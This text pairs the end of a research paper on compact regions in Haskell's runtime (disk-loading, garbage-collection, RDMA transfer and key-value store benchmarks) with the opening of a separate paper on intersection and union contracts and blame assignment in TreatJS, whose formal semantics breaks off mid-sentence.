is transient, for caching purposes or communicating data between
phases of an application. In Map-Reduce jobs, data is written out
between rounds. Or in rendering pipelines used by movie studies,
all geometry and character data is generated and written to disk
from an earlier phase of the pipeline, and then repeatedly shaded in
a later stage of the pipeline. For these use cases, storing in Compact
format directly on disk is a feasible alternative.

Here we consider a scenario where we want to process the
twitter data set discussed previously. The original data-set is stored
on-disk in JSON format, so the natural way to process it would be to
read that JSON. For this purpose, the standard approach in Haskell
would use the efficient Aeson library1. We use Data.Aeson.TH to
derive instances which parse the on-disk format to the in-memory
format shown in Figure 3.

The first scenario we consider requires reading full dataset
through memory, in particular we count how many occurrences
of the “cat” hashtag occur in the dataset, while we vary the size
of the dataset read from 1MB to 1024MB. “Aeson/all” in Figure 6
shows the result. Reading the full gigabyte takes substantial time—
55 seconds. “Compact/all” shows an alternative strategy. We cache
a Compact representation on disk, using a format where each block
is a separate file. We can then mmap these blocks directly into
RAM upon loading, and allow the OS to perform demand paging

1 https://hackage.haskell.org/package/aeson
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Figure 6: Time spent to load N megabytes of Twitter metadata
to access respectively one item at random or process all items
sequentially, when loading the JSON directly with Aeson compared
to loading a preprocessed Compact file from disk.

whenever we access the data. At the full 1GB size, this approach is
21.3× faster than using Aeson to load the data.2

Finally, we also consider a sparse data access strategy. What if
we want to read a specific tweet from the middle of the data set?
This scenario measured in the “/one” variants of Figure 6. Here, we
still map the entire Compact into memory. But the OS only needs
to load data for the specific segments we access, no matter where
they fall. As a result Compact/one still increases linearly (time for
system calls to map O(N) blocks), but the gap widens substantially
between it and Aeson/one. The traditional parsing approach must
parse half of the data set to reach the middle, resulting in 26.6
seconds to access a tweet in the middle of the 1GB dataset, rather
than 0.26 seconds for Compact.

5.5 Garbage Collection Performance
One of the stated benefits of compact normal forms is that objects in
a compact region do not have to be traced. Unfortunately, we cannot
in general give an expected wall clock improvement, since the
specific benefit in an application depends on what data is converted
to live in a compact region. Additionally, not all data is suitable
for placement in a compact region: if a data structure is rapidly
changing compact regions will waste a lot of memory storing dead
data.

To give a sense of what kinds of improvements you might
see, we constructed a few synthetic benchmarks based on patterns
we’ve seen in workloads where garbage collector performance is
influential:

• p threads concurrently allocate a list of elements into a compact
region. This is a baseline showing the best-case improvement,
since no elements become dead when a new cell is consed onto
a list.

• p threads concurrently allocate a list of elements, but rooted in
a single vector. This is meant to illustrate an example where
adding a compact region could help a lot, since GHC’s existing
parallel garbage collector scales poorly when the initial roots
are not distributed across threads.

2 We were not able to disable disk-caching on the evaluation platform
(requiring root access), but we report the median result of 5 trials for all
data points.
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ing a generational algorithm, the effect of major GCs is so promi-
nent in normal Haskell that only a small fraction of time is spent in
the real computation.

In all of these experiments, the data allocated by each thread
is kept live until the end of the test run, simulating immortal data
which is allocated but never freed.

In Figure 7 we can see the improvement in median running
time for these two experiments when the operations happen for a
list that lives in a compact region as opposed to the normal heap,
while in Figure 8 we can observe the influence of GC in the overall
time, which is greatly reduced in the compact case, allowing a more
efficient use of resources.

One observation from these experiments is that it is important
that the most or all of the existing compact data structure is reused
by the mutator — otherwise, the excessive copies into the compact
region of soon to be unused data become predominant in the total
cost.

Additionally, because copying into Compact counts as alloca-
tion, this double allocation factor introduces memory pressure that
triggers more garbage collections: while GC is faster in presence of
compact regions, minor collections have to trace the new temporary
objects that are allocated prior to copying into the compact region,
and that is an added cost if the objects are short lived.
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One way to overcome this limitation is to copy the data into
a new compact region after a certain number of updates, just like
a copying GC would do, such that the amount of unused values
is always limited. In our current implementation this is a manual
process and relies on the programmer to know the space complexity
of the data structure being updated as well as the access patterns
from the application (possibly with the help of profiling), but future
work could explore efficient heuristics to automate this.

Conversely, it may be interesting to observe that because the
GC does not trace the internals of compacts, the GC pauses are
less dependent on the layout of the data in memory and how it was
computed, making them not only shorter but also more predictable
for environments with latency constraints.

5.6 Zero-copy Network Transfer using RDMA
High-performance computing environments—as well as large data
centers—typically are comprised of tightly-coupled machines net-
worked using low-latency, high-throughput, switched fabrics such
as Infiniband or high-speed Ethernet. Remote Direct Memory Ac-
cess (RDMA) enables a source machine to remotely access a desti-
nation machine’s memory without any active participation from the
latter. In essence, RDMA decouples data movement from synchro-
nization in communication between hosts. RDMA-enabled net-
work hardware is set up to access a remote processor’s memory
without involving the operating system on either end. This elim-
inates synchronization overheads and multiple redundant copies,
achieving the lowest possible latency for data movement.

The promise of fast, low-latency RDMA communication, how-
ever, is often thwarted by pragmatic issues such as explicit buffer
management and synchronization, and the fact that RDMA APIs
are low-level and verbose to program with. In contemporary
RDMA networking hardware, a host application is required to pin
the memory that it wants to expose for transfers. The operating sys-
tem populates page table entries (PTE) associated with this pinned
buffer such that all subsequent accesses to memory bypass the OS
(the Network Interface Card (NIC) can directly DMA to or from
the locked memory). Further, a source machine requires a handle
to the remote memory that it wants to access. Thus, there is often
a rendezvous required between peers before they can communicate
with each other.

Modern high-performance communication libraries offer sev-
eral features built on top of the raw RDMA API to ease mes-
sage passing over the network. Each peer reserves pre-pinned ring
buffers for every other peer, which are used for transferring small
messages. A peer maintains an approximate pointer into a eager
ring buffer which is used as an index into remote memory. When a
peer suspects that it might overflow the remote buffer, it reclaims
space by synchronizing with the remote peer. Large messages are
sent by sending a handle to the memory, and requesting the tar-
get to get the memory associated with the handle. In addition to
raw remote memory access (RMA), message passing libraries also
provide a RPC mechanism for invoking handlers on the transferred
remote data.

We have already discussed the interaction of CNFs with net-
work communication, and demonstrated the claimed performance
improvements in Section 5.3. Here we consider true zero-copy
transfer of heap objects between two networked machines. The two
cases that we evaluated are shown in Figures 9a and 9b.

Consider a case where a client wants to send a pointer-based
data structure to the server. With RDMA, the client needs to know
where to put the data in the server’s memory. In the approach
demonstrated in Figure 9a that we refer to as the eager (push-
based) protocol, the server sends a handle to a pinned region in its
memory per a client’s request. The client has to serialize the data
structure into a contiguous memory region if the structure is not in
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Figure 10: Median time it takes to send a bintree of varying tree
depths from a client to the server using RDMA. At depth=26, it
takes 48s to serialize, send and deserialize a 640MB Binary tree
(for a throughput of 13MB/s), whereas it takes 16s for a 2.5GB
Compact tree (for a throughput of 160MB/s).

CNF. The client puts into remote memory and notifies the server
of completion. All of the protocol messages are exchanged over
a control channel also implemented on top of RDMA using eager
ring buffers. Finally, the server deserializes the received structure
incurring an extra copy and the penalty of fixing up internal point-
ers if the structure is in CNF.

In the rendezvous (pull-based) zero-copy case shown in Figure
9b, both client and server applications use the striped allocation
scheme described earlier. The client has a fixed symmetric memory
region (stripe) corresponding to the client in it’s virtual address
space. The client sends the metadata of the structure (pointer to
all of the blocks) that it wants to send to the server. In the normal
case, this would mean pinning each node in the tree and sending
its address to the server. Fortunately, for us, a Compact is internally
represented as a list of large blocks, and thus incurs significantly
lower metadata exchange overhead. The server finally gets all of
the blocks directly into the right addresses eliminating the need for
any extraneous copies. Essentially, with this scheme, we turn all of
the RDMA puts into gets, and eliminate an additional round-trip
between the client and server.

The RDMA benchmarks were run over the 40Gbps QDR In-
finiband interconnect through a Mellanox ConnectX-3 EN HCA.
For these experiments, we used the Common Communication In-
terface (CCI)3 RDMA library over Infiniband. We varied the depth
of the tree and its data type as in the previous sections. Both pro-
tocols discussed above were implemented and the median time of
each phase: tree generation, serialization, communication, deserial-
ization was measured. At higher tree depths, the metadata for each
tree is several MBs, which bogs down the ring-buffer based control
channel. We implemented the metadata exchange through a pre-
pinned metadata segment (as discussed in the Eager scheme) for
both protocols.

As shown in Figure 10, we see up to 5x speedup with Compact

over Binary due entirely to the elimination of serialization over-
head even when Compact has to transfer up to 5 times more data.
However, we found that the time for deserialization of Binary was
lower than the time required to fixup pointers for Compact.

The volume of data transfer is more in the zero-copy case as
clients need to exchange metadata with the server. Furthermore,
the size of each message is restricted by the maximum block size
in the Compact. However at larger message sizes, we still expect to

3 http://cci-forum.com/
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(a) Eager (push-based) RDMA protocol. Here the client wants to send
a tree data structure to the server. This approach eliminates the initial
rendezvous before communication at the expense of copying into a
pre-pinned region on the server.
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(b) Rendezvous (pull-based) RDMA protocol. This is the zero-copy
case where the client sends metadata of the tree to the server. The
server pulls data using remote read into a stripe that it has reserved for
the client so that no pointer fixups are required.

Figure 9: The two RDMA data transfer schemes that were used for sending a tree from a client to the server.
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Table 4: Requests handled by server for varying database sizes. The
size corresponds to the space used by values in the Haskell heap.

Keys DB size Binary Compact
100 6.56 MB 17,081 69,570

1,000 65.6 MB 15,771 63,285
10,000 656 MB 15,295 57,008

see performance improvements for zero-copy over the push variant
for two reasons: first, an extra copy is eliminated and secondly, for
large messages the cost of deserialization trumps the cost of addi-
tional data transfer. Figure 11 confirms our hypothesis. For Binary,
we mostly see a slowdown except for tree depths above 25 as the
cost of deserialization is never amortized by the additional com-
munication penalty, whereas we see Compact do better at modest
sizes as it avoids both copying and deserialization overheads. The
communication throughput can further reduced for the zero-copy
protocol by utilizing scatter/gather features available in modern In-
finiband network hardware that provides vectorized data transfer
between hosts.

5.7 Case Study: In-Memory Key-Value Store
We implemented a simple in-memory key-value store in Haskell,
using compact regions to store values. Remote clients make re-

quests upon the server to fetch the value at a given key. One pos-
sible implementation might store the table in a of map from Key

ByteString, where the ByteString represents the serialized pay-
load which should be sent in response. However, this is only work-
able if the server will only service fetch requests—the original val-
ues would be gone from memory, and could only be retrieved by
deserializing the ByteString values. Of course, this deserialization
is costly and doesn’t support small, incremental updates to the val-
ues in question.

Alternatively, the implementor could choose to store Map Key Val

directly, and opt to serialize on every fetch request. Leveraging
lazy evaluation, it would be an elegant optimization to instead store
Map Key (Val,ByteString), where the ByteString field is a thunk
and is computed (and memoized) only if it is fetched by a client.
Yet this option has its own drawbacks. The ByteString still needs
to be recomputed in whole for any small modification of Val, and,
further, the entire in-memory store now uses up to twice as much
resident memory!

Using Compacts can improve both these problems, while keep-
ing GC pressure low. If we store a Map Key (Compact Val) then (1)
the value is ready to send at any point, (2) we are able to incremen-
tally add to the compact without recreating it, and (3) the values
are always in a “live” state where they support random access at
any point within the Compact.

To test this approach, we built a TCP based server running
on our evaluation platform. We evaluate this server in terms of
client requests per second, using fixed-size values on each request
(pointtree of depth 10, size 65.6KB). We use 16 client processes,
each launching requests in a sequential loop, to saturate the server
with as many requests as the 10G Ethernet network supports. In
Table 4, we show how varying the size of the in-memory database
changes request handling throughput, by changing the behavior of
the memory system. Here we compare our Compact-based server
against the Map Key Val solution, again using the Binary package
for serializing Val, showing an increased throughput across a range
of in-memory key-value store sizes.

6. Related Work
The idea of reusing an in-memory representation for network and
disk communication originates from the very beginning of comput-
ing. It was common for old file formats to involve direct copies of
in-memory data structures [24, 25, 29], in order to avoid spending
CPU cycles serializing and deserializing in a resource constrained
environment. More recently, libraries like Cap’n Proto [31] advo-
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cate in-memory representations as a general purpose binary net-
work interchange format.

These applications and libraries are almost universally imple-
mented in languages with manual memory management. How-
ever, there are some shared implementation considerations between
these applications and compact normal forms. The literature on
pointer swizzling [16, 32], for example, considers how pointers
should be represented on disk. The idea of guaranteeing a struc-
ture is mapped to the same address occurs in many other sys-
tems. [5, 6, 28]

On the other hand, it is far less common to see this technique
applied in garbage collected languages. One common mode of
operation was to save the entire heap to disk in an image, so that it
could be reloaded quickly; schemes like this were implemented in
Chez Scheme and Smalltalk. Our goal was to allow manipulating
subsets of the heap in question.

The one system we are aware of which organizes heap objects
into regions in the same way is Expresso [9] for Java. Like our
system, Expresso allocates heap objects into contiguous chunks of
memory which can then be transmitted to other nodes. However,
while there are similarities in the underlying implementations, our
API is substantially safer: Expresso is implemented in a language
which supports mutation on all objects, which means that there is
no invariant guaranteeing that all pointers are internal to a compact
block. Compact Normal Forms do have this invariant, which means
we can optimize garbage collection and avoid dangling pointers.
Other systems [7] send the literal format but don’t try to maintain a
contiguous representation; thus a traversal is still necessary as part
of the serialization step.

Message passing in distributed computation There is a lot of
prior work in systems for distributed computation. The Message
Passing Interface (MPI) is the standard for message communication
in many languages, and emphasizes avoiding copying data struc-
tures. However, MPI assumes that data lives in a contiguous buffer
prior to sending: it is up to the high-level language to arrange for
this to be the case.

Message passing implementations in high-level languages like
Java and Haskell are more likely to have a serialization step. Ac-
cordingly, there has been some investigation on how to make this
serialization fast: Java RMI [27], for example, improved serializa-
tion overhead by optimizing the serialization format in question;
Scala Pickler [26] approaches the problem by statically generating
code to serialize each data structure in question. However, except
in the cases mentioned in the previous section, most serialization in
these languages doesn’t manage to achieve zero-copy.

It is worth comparing our API to existing message passing APIs
in distributed Haskell systems. Our approach is more in keeping
with previous systems like Eden [3], where the system offers built-
in support for serializing fully evaluated, non-closure data. Cloud
Haskell [10], on the other hand attempts to support the transmis-
sion of higher-level functions with a combination of extra language
techniques. Like Cloud Haskell, our system works best if identical
Haskell code is distributed to all nodes, although we can accommo-
date (with performance loss) differing executables.

Regions and garbage collection It is folklore [4] that in the ab-
sence of mutable data, generational garbage collection is very sim-
ple, as no mutable set must be maintained in order that a back-
wards pointer from the old generation to the new generation is
handled properly. In this sense, a compact region is simply a gen-
eralization of generational garbage collection to have arbitrarily
many tenured generations which are completely self-contained.
This scheme bears similarity to distributed heaps such as that in
Singularity [14], where each process has a local heap that can be
garbage collected individually. Of course, the behavior of data in

a compact region is much simpler than that of a general purpose
heap.

The idea of collecting related data into regions of the heap has
been explored in various systems, usually in order to improve data
locality. [1, 8, 11] At the static end of the spectrum, region sys-
tems [12, 30] seek to organize dynamically allocated data into re-
gions which can be freed based on static information, eliminating
the need for a tracing garbage collector. MLKit [13] combines re-
gion inference with tracing garbage collection; their garbage col-
lection algorithm for regions bears some similarities to ours; how-
ever, since we don’t trace data living in a region, our algorithm is
simpler at the cost of space wastage for objects in a compact region
which become dead—a tradeoff which is also familiar to region
systems.

7. Conclusions
In programming languages, abstraction is naturally sometimes at
odds with performance, especially with regards to garbage collec-
tion versus manual memory management. In this paper, we have
tried to show how compact regions can be a semantically simple
primitive that still brings good performance benefits to the table.
We believe this sort of region management may prove to be a prac-
tical compromise for managing heap layout, just as semi-explicit
parallelism annotations have proven a useful compromise.
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Abstract
We present an untyped calculus of blame assignment for a higher-
order contract system with two new operators: intersection and
union. The specification of these operators is based on the corre-
sponding type theoretic constructions. This connection makes inter-
section and union contracts their inevitable dynamic counterparts
with a range of desirable properties and makes them suitable for
subsequent integration in a gradual type system.

A denotational specification provides the semantics of a contract
in terms of two sets: a set of terms satisfying the contract and a set
of contexts respecting the contract. This kind of specification for
contracts is novel and interesting in its own right.

A nondeterministic operational semantics serves as the spec-
ification for contract monitoring and for proving its correctness.
It is complemented by a deterministic semantics that is closer to
an implementation and that is connected to the nondeterministic
semantics by simulation.

The calculus is the formal basis of TreatJS , a language embed-
ded, higher-order contract system implemented for JavaScript.

Categories and Subject Descriptors D.3.1 [Formal Definitions
and Theory]: Semantics; D.4.2 [Software/Program Verification]:
Programming by contract

Keywords Blame, Higher-Order Contracts, Intersection, Union

1. Introduction
Contracts and contract monitoring [23] are established tools for
enforcing certain guarantees at run time. While there are uses
and implementations across the whole spectrum of programming
languages, contracts are particularly popular for dynamically typed
languages that offer few guarantees (beyond memory safety) at run
time. In particular, the adoption of contracts in Racket [13] has
gained widespread interest.

Starting from simple assertions, contract facilities in program-
ming languages have been extended in line with constructions stud-
ied in type theory. This analogy enables the transfer of specifications
and desired behavior from statically checked type systems to dynam-
ically checked contract systems. It also facilitates the construction of

gradual systems [26, 27] that mediate between statically and dynam-
ically typed components at run time. Previous implementations of
contract systems support operators analogous to (dependent) func-
tion types [13], product types, sum types [18], as well as universal
types [1] and recursive types [29].

Logical operations are another source of inspiration for contract
operators. For example, Racket [14, Chapter 8] supports some form
of conjunction, disjunction, and negation of contracts. However,
they are a best-effort implementation: they come with an operational
explanation and the operators cannot be freely combined. Theoreti-
cal investigations [7, 29] place similar restrictions on conjunction
and disjunction.

We propose to complement the arsenal of contract operators
with two further operators from type theory: intersection types
and union types. Intersection and union types were conceived for
purely theoretical concerns [2], before they were discovered for
programming languages [24]. Intersection types may be used to
describe overloaded functions [16] and multiple inheritance; union
types are dual to intersection types and come up in connection with
XML typing [20] as well as in soft type systems [32].

By starting from their type theoretic foundation, we analyze
the metatheoretic properties of intersection and union types. This
analysis is our basis for postulating requirements for their dynamic
contract counterparts. We believe that this approach has a number
of advantages when it comes to designing contract operators.

First, many programmers are acquainted with type systems
and their operators. If we can provide contracts with matching
semantics, then they can build on their type-intuitions when using
the corresponding contracts.

Second, matching semantics is important when designing a
gradual type system for a language like TypedRacket [28]. In such
a system it is crucial that the static meaning of a type operator
coincides with the dynamic meaning of its contract counterpart.

Third, when defining operators by derivation from a specification,
they obey a range of useful properties by construction. For example,
our derived intersection and union operators inherit symmetry,
idempotence, and distribution laws with function contracts from
the corresponding type constructions.

Contributions This work presents the theory of blame assignment
underlying TreatJS , a language embedded, higher-order contract
system for JavaScript.1

• We specify the semantics of a contract in a novel denotational
style by a set of terms (subjects) satisfying the contract and a set
of contexts respecting the contract.

• We extend higher-order contracts with unrestricted intersection
and union contracts; they provide dynamic guarantees analogous
to the static guarantees of intersection and union types.

1 http://proglang.informatik.uni-freiburg.de/treatjs/
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• We give a nondeterministic specification of contract monitoring
for the full system; the nondeterminism is not essential, but it
simplifies the presentation and the proofs.

• We provide a deterministic implementation and establish a
simulation relation with the specification.

• We prove contract soundness theorems that are novel in two
aspects: they cover subjects and contexts; and they deal with
intersection and union.

Overview Section 2 introduces higher-order contracts and our
novel notion of context satisfaction and then moves on to moti-
vate requirements for intersection and union contracts from their
type-theoretic counterparts. Section 3 explains the denotational se-
mantics of contracts based on an untyped, applied, call-by-value
lambda calculus and establishes some fundamental properties of
the semantics. Section 4 extends the lambda calculus with nonde-
terministic contract monitoring, explains its reduction semantics,
and specifies the constraint-based computation of blame. Section 5
defines the deterministic monitoring semantics, explains the crucial
notion of compatibility, and states the simulation theorem. Section 6
states and explains our contract and blame soundness theorems.
Section 7 discusses related work and Section 8 concludes.

A technical report [21] extends this paper by an appendix with
further examples and proofs of all theorems.

2. Motivation
We briefly recall the standard contracts and the notion of blame from
the literature [13]. Contract satisfaction is usually defined from the
point of view of the contract’s subject; as a novelty, we introduce
the dual concept of context satisfaction, which answers the question
when a context respects a contract in its hole.

In anticipation of the formal framework defined in Section 3,
we let M and N range over lambda terms, V over values, L over
contexts, E over evaluation contexts, and C and D over contracts.
We write M@C for asserting contract C to M ; at run time, M@C
monitors the execution of M and reports violations of C. We also
use S and T informally to range over an unspecified language of
types that includes the language of simple types.

2.1 Higher-Order Contracts and Context Satisfaction
A flat contract, flat(M), where the expressionM denotes a predicate,
is satisfied by subject V if the application M V does not evaluate to
false2. A violation raises positive blame. On the other hand, every
context respects a flat contract because the contract does not restrict
it in any way. Thus, a flat contract never raises negative blame.

A function satisfies a function contractC → D whenever calling
it with an argument that satisfies C implies that the result of the
function satisfies D. If an argument satisfying C provokes a result
that does not satisfy D, then the function contract raises positive
blame: the function, the subject, does not satisfy the contract.

Calling the contracted function with an argument that does not
satisfy C leads to negative blame. Thus, a contract also places an
obligation on the context that it may or may not fulfill. We define
that a context respects the contract C → D if it only provides
arguments satisfying C (as a subject) and puts the result in a context
respecting D. Such a context never causes negative blame.

As an example consider the function add = λx.λy.x + y and
contract C = Pos→ (Even→ Even) where Pos = flat(λx.x > 0)
and Even = flat(λx.x mod 2 = 0). Applying add@C to 0 yields
negative blame: the context � 0 violates the obligation to only
provide positive arguments. Applying (add@C) 1 to 1 also yields
negative blame because it puts the outcome of (add@C) 1 in a

2 It is also satisfied if M V does not terminate.

INTER-I
A ` V : S A ` V : T

A ` V : S ∩ T
SUB-INTER-L
S ∩ T <: S

SUB-INTER-R
S ∩ T <: T

Figure 1. Intersection types

context (� 1) that does not respect the contract Even → Even.
Applying (add@C) 1 to 0 yields positive blame to indicate that add
does not satisfy C.

2.2 Intersection
If a value has both type S and T , then we can also assign it the
intersection type S ∩ T [5]. Conversely, if a value has type S ∩ T ,
then its context may choose to use it as a value of type S or as a
value of type T . This intuition materializes directly in the typing
and subtyping rules for intersection in Figure 1.3

Pierce [25] calls intersection types the natural type-theoretic
analogue of multiple inheritance, where S ∩ T is the name of a
class with the properties of both S and T . Intersection types also
find uses in modeling finitary overloading as in the following typing
for a + operator that stands for addition and string concatenation.

+ : (Num ×Num → Num) ∩ (Str × Str → Str) (1)

The typing rules for intersection suggest the following require-
ments for an intersection contract.

IS0 (Idempotence) A value satisfies C ∩ C iff it satisfies C.

IS1 (Symmetry) A value satisfies C ∩D iff it satisfies D ∩ C.

IS2 (Introduction) A value satisfies the intersection contract C ∩D
iff it satisfies both contracts C and D.

For flat contracts, it is easy to check contract satisfaction and
it is also straightforward to see that flat(λx.P ) ∩ flat(λx.Q) =
flat(λx.P ∧Q) is a definition that satisfies the requirements.

For higher-order contracts, monitoring shares the deficiencies of
all contract validation methods that are based on testing: Monitoring
cannot determine contract satisfaction in general, but it can detect
contract failures. Hence, we switch our point of view from contract
satisfaction to contract failure manifested in blame allocated by
detected contract violations. Switching the point of view turns out
to be a matter of negating the requirements.

Recall that positive (negative) blame indicates that a subject
(context) does not satisfy (respect) a contract. This observation is
key to rephrasing the requirements. We concentrate on the most
relevant requirement IS2, the others can be treated analogously.

IS2B L[M@(C ∩ D)] raises positive blame iff L[M@C] raises
positive blame or L[M@D] raises positive blame.

To also capture negative blame in our requirements for an inter-
section contract, we first need to state when a context satisfies such
a contract. The elimination rules SUB-INTER-L/R (via subsumption)
are our guidelines. They indicate that the context may choose to
consider a value of type S ∩ T as either an S or a T . It is, however,
critical that this choice is delayed as much as possible (see example
at the end of this subsection). The choice must happen in an elimina-
tion context F , that is, an evaluation context E that directly applies
an elimination form to its hole: F ::= E[�V ] | . . .

IC2 An elimination context respects the intersection contractC∩D
iff it respects contract C or contract D.

3 The use of V in the introduction rule makes it sound for call-by-value [6].
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UNION-E
A `M : S ∪ T

A, x : S ` N : R A, x : T ` N : R

A ` letx =M inN : R

SUB-UNION-L
S <: S ∪ T

SUB-UNION-R
T <: S ∪ T

Figure 2. Union types

To check this condition effectively, we need to rephrase in terms
of contract failures: If there is a term such that the context provokes
negative blame, then the context cannot respect the contract.

IC2B F [M@(C ∩ D)] raises negative blame iff F [M@C] and
F [M@D] both raise negative blame.

Let’s evaluate this definition with the overloaded + operator
from (1) regarding the type as an intersection contract. If we apply
+ with the intersection contract to a pair of numbers, then the
Str × Str → Str part of the contract raises negative blame, but
the Num × Num → Num part does not. Hence, the intersection
must not raise negative blame, either. The same happens, mutatis
mutandis, when applying to a pair of strings. Applying to a pair
of a number and a string triggers negative blame in both function
contracts. Thus, the intersection must also raise negative blame.

As the intended semantics of + satisfies the intersection contract,
no use of it would ever give rise to positive blame. However, if we
apply a function f with the same intersection contract to a pair of
numbers (strings) but the result fails to satisfy Num (Str ), then
blame is assigned to the subject f .

Generally, the subject of an intersection contract C ∩D must
fulfill both contracts C and D. If C = C1 → C2 and D = D1 →
D2 are both function contracts, then any argument has to fulfill
C1 ∪ D1. If the argument contracts overlap, then applying the
function to an element in their intersection must yield a result that
satisfies both, C2 and D2. As an example, consider the contract

(Num ×Num → Num) ∩ (Pos × Pos → Pos) (2)

which describes a function with domain Num × Num that must
map positive arguments to positive results.

Our final example illustrates the need for elimination contexts.

Choose the context L as: let f = � in f 42; f "foo"

Clearly, L respects (Num → Num) ∩ (Str → Str) because
it applies f to a number and to a string, but it respects neither
Num → Num nor Str → Str . This example further indicates that
the checking of an intersection context attached to a value must
happen at the elimination of this value.

2.3 Union
Union types [3] arise naturally in a number of ways: as the dual
of intersection types, from logical and semantical considerations,
and as generalizations of sum and variant types. Again paraphrasing
Pierce [24], union types are related to sum types in the same way as
set-theoretic union is related to disjoint union. They are governed by
the rules in Figure 2. There is no explicit introduction rule; instead
a term of type S or T may be viewed as a term of type S ∪ T via
subsumption. Pierce’s elimination rule UNION-E [24] conveys that
a context that wants to use a value of union type S ∪ T must be
prepared to deal with both S and T because the choice between
them is taken internally by the value.4

4 Among the elimination rules for union types in the literature we have
chosen a simple one that is sound for call-by-value. More general rules exist
[10], but they are not needed in this context.

Analogously to intersection types, the requirements for a union
contract derive from the typing rules for union types.

US0 (Idempotence) A value satisfies C ∪ C iff it satisfies C.

US1 (Symmetry) A value satisfies C ∪D iff it satisfies D ∪ C.

US2 (Introduction) A value satisfies the union contract C ∪D iff it
satisfies contract C or contract D.

It is again easy to see that the union of flat contracts corresponds to
the disjunction of their predicates:

flat(λx.P ) ∪ flat(λx.Q) = flat(λx.P ∨Q)

For the higher-order case, we rephrase US2 to blame reporting,
again. This time, it is sufficient to restrict to evaluation contexts E.

US2B E[M@(C ∪ D)] raises positive blame iff E[M@C] and
E[M@D] both raise positive blame.

The elimination rule UNION-E guides the definition of context
satisfaction.

UC2 A context respects the union contract C ∪ D iff it respects
contract C and contract D.

The rephrasing to blame is by now routine.

UC2B L[M@(C ∪D)] raises negative blame iff L[M@C] raises
negative blame or L[M@D] raises negative blame.

As an example consider the contract

(Even → Even) ∪ (Pos → Pos) (3)

which is either satisfied by a function that always maps an even
number to an even number (like λx. − x) or by one that always
maps a positive number to a positive number (like λx.x+ 1). It is
not satisfied by a function that alternates between both return types.
For example, the following function h does not satisfy (3).

h(x) = if (x = 6) then − 6 else 3

Because the context has to respect the union contract (3), any
argument that does not satisfy Even ∩ Pos ought to raise negative
blame. A positive even number is needed to elicit positive blame.
By inspection, we see that 2 and 6 are representative arguments that
exercise all possible behaviors of h. However, h(2) = 3 satisfies Pos
(but fails Even) whereas h(6) = −6 satisfies Even (but fails Pos).
In this example, no single call in isolation raises positive blame to
unveil the insidious behavior of h: at least two tests (e.g., with 2 and
6) are needed elicit positive blame and monitoring must remember
the outcome of previous tests to assign blame properly.

One might ask why US2B is restricted to evaluation contexts.
As an example, we construct a dual situation as in the example that
exhibited the problem for intersection:

L = let f = (λx.�) in (f true; f false)
M = ifx then 1 else true

In this case, L[M@Num] raises positive blame and so does
L[M@Bool ]. The interesting point is that L[M@(Num ∪ Bool)]
does not raise positive blame, as each invocation of f creates a
new union contract which can choose a suitable summand for each
value that arises. This behavior conforms to US2B because L is
not an evaluation context. If we wrap the choice into a function
h(x) = ifx then 1 else true, then this function satisfies the contract
Bool→ (Num∪Bool), but not (Bool → Num)∪(Bool → Bool)
as explained in the Even/Pos example.

3. Semantics of Contract Satisfaction
This section defines λCon

V , an untyped call-by-value lambda calculus
with contracts. It first introduces the base calculus and the syntax of
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L,M,N ::= K | x | λx.M |M N | O( ~M)
K ::= false | true | 0 | 1 | . . .
C,D ::= flat(M) | C→D | C ∩D | C ∪D
V,W ::= K | λx.M
E ::= � | O(~V E ~M) | EM | V E
L,M,N ::= A | MN |M N | O( ~ML ~N)
V ::= λx.L
A ::= � | V

BETA E[(λx.M)V ] −→ E[M{x := V }]
OP E[O(~V )] −→ E[δO(~V )] ~V ∈ dom(δO)

Figure 3. Terms, contexts, and reductions of λV

Jflat(M)K+ = {N |M N 6−→∗ false} (4)

JC→DK+ = {M | ∀N ∈ JCK+.M N ∈ JDK+

∧ ∀N ∈ JDK−.N [M �] ∈ JCK−}
(5)

JC ∩DK+ = JCK+ ∩ JDK+ (6)

JC ∪DK+ = JCK+ ∪ JDK+ (7)

Figure 4. Contract subject satisfaction for λV

contracts, then proceeds to describe contracts and their semantics
for the base calculus, and finally gives the semantics of contract
assertion and blame propagation.

3.1 The Base Language λV
Figure 3 defines syntax and semantics of λV , an applied call-by-
value lambda calculus, and the syntax of contracts. An expression
M is either a first-order constant, a variable, a lambda abstraction,
an application, or a primitive operation. Variables, ranged over by x
and y, are drawn from a denumerable set. Constants K range over a
set of base type values including booleans and numbers.

A contract C is either a flat contract flat(M) defined by a
predicate M , a function contract C → D with domain contract
C and range contract D, an intersection between two contracts
C ∩D, or a union C ∪D.

To define evaluation, V and W range over values and E over
evaluation contexts, which are standard. The small-step reduction
relation −→ comprises beta-value reduction and built-in partial
operations that transform a vector of values into a value. We
write −→∗ for its reflexive, transitive closure and 6−→∗ for its
complement. That is, M 6−→∗ N if, for all L such that M −→∗ L,
it holds that L 6= N . We also write M 6−→ to indicate that there is
no N such that M −→ N .

Contexts L are defined as usual as terms with a hole. We single
out value contexts V that wrap a context in a lambda and answer
contexts A that are value contexts or just a hole. We extend the
reduction relation −→ to contexts by considering the hole as a non-
value term. If context reduction terminates, then it has either reached
a context value, an evaluation context, or a stuck context.

3.2 Contract Satisfaction
Figures 4 and 5 define contract satisfaction for subjects and contexts,
respectively, in terms of the semantics of λV . The set JCK+ is
defined to be the set of closed terms (subjects) that satisfy the
contract C. The set JCK− is the set of closed contexts that respect
C. The definitions are mutually inductive on the structure of C and
the rule set in Figure 5 is coinductively defined. We connect this
semantics to contract monitoring in Sections 4 and 6.

P-IRRED
M 6−→ M /∈ {E,E[V A], E[�N ]}

M ∈ JCK−

P-REDUCE

N ∈ JCK− M−→ N
M ∈ JCK−

P-STUCK
V 6= λx.M

E[V A] ∈ JCK−

P-EXPAND
∀M, V. λx.M = λx.M[x]⇒
E[M{x := A[V ]}[A]] ∈ JCK−

E[(λx.M)A] ∈ JCK−

P-FLAT

E ∈ Jflat(M)K−
P-OP

E[O(~V� ~N)] ∈ JC→DK−

P-APPLY

N ∈ JCK+ E ∈ JDK−

E[�N ] ∈ JC→DK−

P-UNION

E ∈ JCK− E ∈ JDK−

E ∈ JC ∪DK−

P-INTER-L
F ∈ JCK−

F ∈ JC ∩DK−

P-INTER-R
F ∈ JDK−

F ∈ JC ∩DK−

F ::= E[O(~V� ~N)] | E[�N ]

Figure 5. Contract context satisfaction (coinductive)

Equation (4) directly reflects the discussion of flat contracts in
Section 2.1. Subject satisfaction for a function contract (5) also
follows the previous discussion but with an extra twist. If the
argument contract of a function M is itself a function contract,
then M must put its argument V , say, in a context that satisfies
C (i.e., it must not pass an argument that does not subject-satisfy
C), but only under the assumption that the application M V itself
